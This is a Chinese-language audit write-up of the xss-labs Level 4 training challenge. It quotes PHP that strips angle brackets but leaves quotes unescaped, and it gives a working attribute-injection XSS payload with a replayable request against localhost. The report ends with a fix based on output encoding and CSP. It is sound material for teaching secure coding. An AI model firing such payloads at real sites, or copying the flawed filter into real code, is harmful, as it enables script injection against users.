xss-labs Level4 代码审计报告
目标文件:
level4.php| 漏洞类型: 反射型 XSS —— 去除尖括号后的属性事件注入 | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径:GET /level4.php?keyword=<payload>→<input value="...">属性注入(无需</>)
一、漏洞代码定位
level4.php 第 17-22 行:
$str = $_GET["keyword"];
$str2 = str_replace(">", "", $str); // L18 删除 >
$str3 = str_replace("<", "", $str2); // L19 删除 <
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'"> // L22 危险:value 用删除了<>但未转义引号的 $str3
<input type=submit name=submit value=搜索 />
</form>
</center>';
漏洞点: L22。过滤思路是"删掉 < 和 > 就注入不了标签了",但忽略了:
value属性没有转义引号("未过滤)。- 注入事件属性根本不需要
</>。
二、漏洞原理
- 攻击者用双引号
"闭合value,注入onfocus、autofocus等事件/控制属性即可弹窗,全程不出现</>。 - 这是典型的黑名单过滤思维缺陷:只针对"已知攻击形态"(标签)防护,未做"输出编码 + 属性转义"这种根本性防护。
- 顺带说明:
str_replace(">","",...)/str_replace("<","",...)还无法处理大小写/实体变体,过滤本身也不完备,但即便完备也堵不住属性注入。
三、利用方式与 Yakit 可重放数据包
Payload(URL 解码后):
?keyword=" onfocus=alert(1) autofocus="
渲染结果: <input name=keyword value="" onfocus=alert(1) autofocus="" type=submit...> → autofocus 聚焦触发 onfocus。
Yakit 可重放原始请求:
GET /level4.php?keyword=%22%20onfocus=alert(1)%20autofocus=%22 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
触发方式: 页面加载自动聚焦输入框 → onfocus=alert(1) 执行 → 命中通关逻辑跳转 level5。
四、修复建议
$str = $_GET["keyword"] ?? "";
$safe = htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); // 不要用 str_replace 删字符,直接输出编码
echo "<h2 align=center>没有找到和".$safe."相关的结果.</h2>"
. '<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$safe.'">
<input type=submit name=submit value=搜索 />
</form></center>';
要点:
- 抛弃黑名单式
str_replace删字符,改为对输出做上下文感知编码(htmlspecialchars ENT_QUOTES)。 - 删除式过滤还可能破坏业务数据(用户输入含
</>会被静默篡改),属反模式。 - 纵深防御:加 CSP 头,禁止
unsafe-inline脚本执行。
五、备注
- 该关在所有 PHP 版本均可利用。
- 审计启示: "过滤特殊字符" ≠ "安全";正确姿势是"编码输出 + 最小化特权(CSP)"。
正文完